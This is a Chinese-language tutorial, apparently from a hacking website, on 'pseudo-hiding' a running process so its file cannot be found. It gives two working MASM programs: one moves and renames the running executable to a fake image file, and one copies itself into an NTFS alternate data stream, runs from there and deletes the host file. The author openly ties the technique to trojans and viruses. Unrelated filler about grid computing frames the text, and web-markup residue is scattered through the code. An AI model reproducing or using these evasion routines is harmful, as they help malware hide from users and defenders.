網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 進程隱藏?干嗎用?你不知道?我暈!進程隱藏技術多用于木馬和病毒中(還用你說?!),用于提高其生存率。其實現方法因WIN系統架構不同而各異,一些常用方法資料很多,我在這里也就不多說啦!這里的"偽隱藏"指的是,雖然在"WINDOWS任務管理器"進程列表中可以看到其進程存在,但在硬盤中卻找不到或者說不容易找到其相對應的程序文件。 一:乾坤大挪移 大家都知道,當一個程序正在運行時,WIN系統是不允許我們把其刪除的(所以才會有人尋找程序自刪除_blank>技術),但卻不知大家是否注意到,在WIN2000中,當一個程序正在運行時,我們雖然不能把它刪除,但我們卻可以把程序文件在同一分區內移動位置以及重命名,你可以自己試驗一下!這也就是"Windows文件保護"所使用的方法!試想,如果我們的程序在運行后,立即把自身移動位置并重命名,而在"WINDOWS任務管理器"進程列表中顯示的卻還是原來的程序名,那你又該如何來查找到其對應的程序文件呢?當然如果程序在內存中沒有進行變形的話,你可以利用內存查看_blank>軟件(如WINHEX)并利用查找功能來找到相對應的程序文件,但如果程序在內存中變形 ,也可以說解密,使得內存映像和硬盤中的原程序文件不同,那我是暫時沒法找出來啦! 實現_blank>代碼如下(MASM): ;進程隱藏之乾坤大挪移(只能在同分區內移動) .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib .data? selfname db MAX_blank>_PATH dup(?) .data movename db "c:\mm.jpg",0 .code main: invoke GetModuleFileName,NULL,addr selfname,MAX_blank>_PATH ;得到自身路徑 mov al, byte ptr selfname ;得到所在分區 mov byte ptr movename,al ;修正movename,使其在同分區內移動 invoke MoveFile,addr selfname,addr movename ;把自身移動位置并改名 invoke MessageBox,NULL,offset selfname,offset movename,MB_blank>_OK invoke ExitProcess, NULL end main 本例程在WIN2000下調試通過,XP" target=_blank>XP和WIN2003應該也可以,請有條件的弟兄測試,WIN98和WINME不能用,與硬盤格式無關! [page_break]二:程序自刪除(僅適用于NTFS硬盤分區格式) 在NTFS分區下存在文件流早已不是什么秘密啦,但大家主要用它來隱藏文件,我在一次測試中卻發現當我運行一個文件流程序時,這個文件流程序所在的宿主文件卻是可以被刪除的!進一步測試發現文件流程序運行時并無法直接刪除這個文件流程序,只能刪除宿主文件,從而來刪除文件流程序。利用此特性,我們同樣可以實現類似于上例的效果,且比其隱藏效果要好點。方法為:判斷是否是NTFS格式分區,如果是則把自身復制為一個文件流,并運行復制的文件流,運行時檢測到自己是存在于文件流中時就刪除宿主文件。 實現_blank>代碼如下(MASM): ;進程隱藏之文件流(只能用于NTFS分區格式) .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib .data? selfname db MAX_blank>_PATH dup(?) szFileSystemName db 10 dup(?) .data delname db "`.`:icyfox.exe",0 ;此處的"`.`:icyfox.exe"可以改為其他文件名如"cs.txt:cs.exe" ;我這里用"`.`"的目的是為了防止刪除其他存在的文件 szErr db "我不在NTFS格式的分區內,退出!",0 szYes db "我在下面的流內,已被刪除!",0 .code main: invoke GetModuleFileName,NULL,addr selfname,MAX_blank>_PATH mov bl,byte ptr selfname+3 mov byte ptr selfname+3,0 xor eax,eax ;下面獲取自身所在分區格式,并判斷是否是NTFS格式 invoke GetVolumeInformation,addr selfname,eax,eax,\ eax,eax,eax,addr szFileSystemName, sizeof szFileSystemName mov byte ptr selfname+3,bl .if dword ptr szFileSystemName!='SFTN';NTFS invoke MessageBox,NULL,offset szErr,NULL,MB_blank>_OK invoke ExitProcess, NULL .endif ;下面判斷自己是否在流(STREAM)中 ;如果路徑中含有兩個:號,說明自己在文件流中 lea esi,selfname xor edx,edx @@: LODSB or al,al jz @F ;遇到0結束 .if al==":" INC edx .endif .if edx==2 mov byte ptr [esi-1],0 invoke DeleteFile,addr selfname ;刪除宿主文件 invoke MessageBox,NULL,offset delname,offset szYes,MB_blank>_OK invoke ExitProcess, NULL .endif jmp @B ;下面是當自身不在文件流中時,把自身復制到流中并運行 @@: invoke CopyFile,addr selfname,addr delname,FALSE invoke WinExec,addr delname,NULL invoke ExitProcess, NULL end main 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!